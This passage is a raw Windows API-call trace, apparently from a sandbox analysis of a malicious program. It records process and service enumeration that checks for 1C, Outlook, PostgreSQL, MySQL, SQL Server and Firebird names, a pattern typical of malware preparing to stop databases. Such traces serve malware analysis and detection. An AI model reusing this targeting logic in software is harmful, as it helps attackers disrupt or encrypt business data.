(lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.294] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.294] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.295] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.298] lstrlenW (lpString="svchost.exe") returned 11 [0230.298] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.300] lstrlenW (lpString="svchost.exe") returned 11 [0230.300] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.302] lstrlenW (lpString="audiodg.exe") returned 11 [0230.302] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.304] lstrlenW (lpString="svchost.exe") returned 11 [0230.304] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0230.305] lstrlenW (lpString="userinit.exe") returned 12 [0230.305] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.306] lstrlenW (lpString="explorer.exe") returned 12 [0230.306] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.307] lstrlenW (lpString="dwm.exe") returned 7 [0230.307] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.308] lstrlenW (lpString="svchost.exe") returned 11 [0230.309] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0230.310] lstrlenW (lpString="driver.exe") returned 10 [0230.310] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.311] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.311] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0230.312] lstrlenW (lpString="taskhost.exe") returned 12 [0230.313] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.314] lstrlenW (lpString="svchost.exe") returned 11 [0230.314] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0230.316] lstrlenW (lpString="dllhost.exe") returned 11 [0230.316] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0230.317] lstrlenW (lpString="reader_sl.exe") returned 13 [0230.318] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0230.319] CloseHandle (hObject=0x3ac) returned 1 [0230.319] Sleep (dwMilliseconds=0x1f4) [0230.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3298 [0230.948] EnumServicesStatusExW (in: hSCManager=0x41c3298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0230.948] GetLastError () returned 0xea [0230.948] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x41d0998 [0230.949] EnumServicesStatusExW (in: hSCManager=0x41c3298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0230.949] CloseServiceHandle (hSCObject=0x41c3298) returned 1 [0230.950] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0230.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0230.950] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0230.950] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0230.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0230.951] lstrlenW (lpString="AudioSrv") returned 8 [0230.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0230.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0230.951] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0230.951] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0230.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0230.952] lstrlenW (lpString="BFE") returned 3 [0230.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0230.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0230.952] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0230.952] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0230.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0230.952] lstrlenW (lpString="CryptSvc") returned 8 [0230.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0230.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0230.952] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0230.952] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0230.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0230.952] lstrlenW (lpString="CscService") returned 10 [0230.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0230.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0230.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0230.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0230.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0230.954] lstrlenW (lpString="DcomLaunch") returned 10 [0230.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0230.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0230.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0230.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0230.955] lstrlenW (lpString="Dhcp") returned 4 [0230.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0230.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0230.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0230.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0230.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0230.955] lstrlenW (lpString="Dnscache") returned 8 [0230.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0230.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0230.956] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0230.956] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0230.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0230.956] lstrlenW (lpString="DPS") returned 3 [0230.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0230.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0230.956] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0230.956] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0230.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0230.956] lstrlenW (lpString="eventlog") returned 8 [0230.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0230.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0230.957] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0230.957] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0230.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0230.957] lstrlenW (lpString="EventSystem") returned 11 [0230.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0230.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0230.957] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0230.957] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0230.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0230.958] lstrlenW (lpString="gpsvc") returned 5 [0230.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0230.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0230.958] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0230.958] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0230.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0230.958] lstrlenW (lpString="LanmanWorkstation") returned 17 [0230.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.958] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0230.958] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0230.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0230.959] lstrlenW (lpString="lmhosts") returned 7 [0230.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0230.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0230.959] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0230.959] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0230.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0230.959] lstrlenW (lpString="MMCSS") returned 5 [0230.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0230.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0230.959] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0230.959] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0230.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0230.960] lstrlenW (lpString="MpsSvc") returned 6 [0230.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0230.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0230.960] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0230.960] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0230.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0230.960] lstrlenW (lpString="NlaSvc") returned 6 [0230.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0230.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0230.960] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0230.961] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0230.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0230.961] lstrlenW (lpString="nsi") returned 3 [0230.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0230.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0230.961] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0230.961] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0230.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0230.961] lstrlenW (lpString="PcaSvc") returned 6 [0230.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0230.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0230.962] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0230.962] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0230.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0230.962] lstrlenW (lpString="PlugPlay") returned 8 [0230.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0230.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0230.962] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0230.962] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0230.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0230.962] lstrlenW (lpString="Power") returned 5 [0230.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0230.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0230.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0230.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0230.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0230.963] lstrlenW (lpString="ProfSvc") returned 7 [0230.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0230.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0230.963] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0230.963] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0230.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0230.963] lstrlenW (lpString="RpcEptMapper") returned 12 [0230.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.963] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.964] lstrlenW (lpString="RpcSs") returned 5 [0230.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.964] lstrlenW (lpString="SamSs") returned 5 [0230.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.964] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.964] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.965] lstrlenW (lpString="Schedule") returned 8 [0230.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.965] lstrlenW (lpString="SENS") returned 4 [0230.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.966] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.966] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.967] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.967] lstrlenW (lpString="Spooler") returned 7 [0230.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.967] lstrlenW (lpString="SysMain") returned 7 [0230.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0230.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0230.968] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0230.968] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0230.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0230.968] lstrlenW (lpString="Themes") returned 6 [0230.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.968] lstrlenW (lpString="TrkWks") returned 6 [0230.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0230.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0230.969] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0230.969] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0230.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0230.969] lstrlenW (lpString="UxSms") returned 5 [0230.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0230.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0230.969] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0230.969] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0230.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0230.970] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0230.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0230.975] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.976] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.977] lstrlenW (lpString="System") returned 6 [0230.977] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0230.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0230.977] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0230.977] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0230.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0230.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0230.978] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0230.978] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.978] lstrlenW (lpString="smss.exe") returned 8 [0230.979] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0230.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0230.979] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.980] lstrlenW (lpString="csrss.exe") returned 9 [0230.980] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0230.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0230.980] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0230.980] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0230.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0230.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0230.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0230.981] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.986] lstrlenW (lpString="wininit.exe") returned 11 [0230.986] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0230.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0230.987] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0230.987] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0230.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0230.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 